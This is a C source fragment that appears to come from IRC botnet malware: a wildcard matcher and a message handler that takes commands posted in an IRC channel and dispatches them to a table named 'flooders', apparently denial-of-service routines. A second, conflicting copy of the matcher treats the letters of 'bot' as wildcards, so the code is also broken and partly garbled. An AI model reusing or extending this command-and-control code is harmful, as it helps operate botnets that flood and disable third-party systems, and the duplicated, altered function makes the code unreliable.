int strwildmatch(const char *pattern, const char *string) {
switch (*pattern) {
case '\0': return *string;
case '*': return !(!strwildmatch(pattern+1, string) || (*string && !strwildmatch(pattern, string+1)));
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
}
}
void _PRIVMSG(int sock, char *sender, char *str) {
int i;
char *to, *message;
for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0;
to=str;
message=str+i+2;
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
sender[i]=0;
if (*message == '>' && !strcasecmp(to,chan)) {
char *params[12], name[1024]={0};
int num_params=0, m;
message++;
for (i=0;i<strlen(message) && message[i] != ' ';i++);
message[i]=0;
if (strwildmatch(message,nick)) return;
message+=i+1;
m=strlen(message);
for (i=0;i<m;i++) {
if (*message == ' ' || *message == 0) break;
name[i]=*message;
message++;
}
for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
num_params++;
if (num_params > 10) num_params=10;
params[0]=name;
params[num_params+1]="\0";
m=1;
while (*message != 0) {
message++;
if (m >= num_params) break;
for (i=0;i<strlen(message) && message[i] != ' ';i++);
params[m]=(char*)malloc(i+1);
strncpy(params[m],message,i);
params[m][i]=0;
m++;
message+=i;
}
for (m=0; flooders[m].cmd != (char *)0; m++) {
if (!strcasecmp(flooders[m].cmd,name)) {
flooders[m].func(sock,sender,num_params-1,params);
for (i=1;i<num_params;i++) free(params[i]);
return;
}
}
}
}
int strwildmatch(unsigned char* pattern, unsigned char* string) {
switch((unsigned char)*pattern) {
case '\0': return *string;
case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
}
}
